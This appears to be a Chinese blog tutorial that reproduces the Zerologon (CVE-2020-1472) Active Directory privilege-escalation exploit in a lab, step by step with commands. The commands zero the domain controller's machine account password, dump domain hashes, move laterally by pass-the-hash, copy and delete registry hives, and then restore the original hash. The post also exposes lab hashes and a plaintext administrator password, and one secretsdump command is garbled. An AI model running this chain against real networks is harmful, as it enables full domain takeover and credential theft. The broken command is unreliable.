CVE-2020-1472 域内提权

0x1 工具

这里使用zerologon_tester(https://github.com/SecuraBV/CVE-2020-1472)工具验证漏洞是否存在,使用zerologon(https://github.com/risksense/zerologon)工具复现。
运行set_empty_pw.py脚本需要最新版的impacket(https://github.com/SecureAuthCorp/impacket/commit/64ce46580286b5ab15a4737bddf85201ce2adde3)。
注意:不要下载tags里面的,tags里面还是3月份的!

impacket安装:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install
(如果事先安装了impacket可使用pip3 uninstall impacket命令卸载。)

0x2 漏洞利用

1、漏洞验证POC。

python3 zerologon_tester.py WIN-2008-DC 192.168.3.123

在这里插入图片描述

2、使用zerologon工具将域控密码打成空。(这里打空的用户是域控所在机器的账户,并不是域控账户。)

python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
python3 set_empty_pw.py WIN-2008-DC 192.168.3.123

在这里插入图片描述

3、使用空密码dump域控上的hash。

secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'ggyao.com/WIN-2008-DC$@192.168.gyao.com/WIN-2008-DC$@192.168.3.123'

在这里插入图片描述

如图:
WIN-2008-DC$用户hash已被替换为31d6cfe0d16ae931b73c59d7e0c089c0 (空)。
在这里插入图片描述

4、使用administrator的hash横向连接过去。

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 ggyao/administrator@192.168.3.123

在这里插入图片描述

5、获取计算机账号原始hash。

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

在这里插入图片描述

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

在这里插入图片描述

6、将该原始计算机帐户哈希还原。

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
python3 reinstall_original_pw.py WIN-2008-DC 192.168.3.123 6493fcc57bd126e9ab8fb9f56e8a79c9

在这里插入图片描述

7、查看WIN-2008-DC$账号的hash,已成功还原。

secretsdump.py ggyao.com/administrator:1qaz@WSX@192.168.3.123 -just-dc-user 'WIN-2008-DC$'

在这里插入图片描述

0x3 参考

https://github.com/risksense/zerologon
https://github.com/SecuraBV/CVE-2020-1472

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LQxdp

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值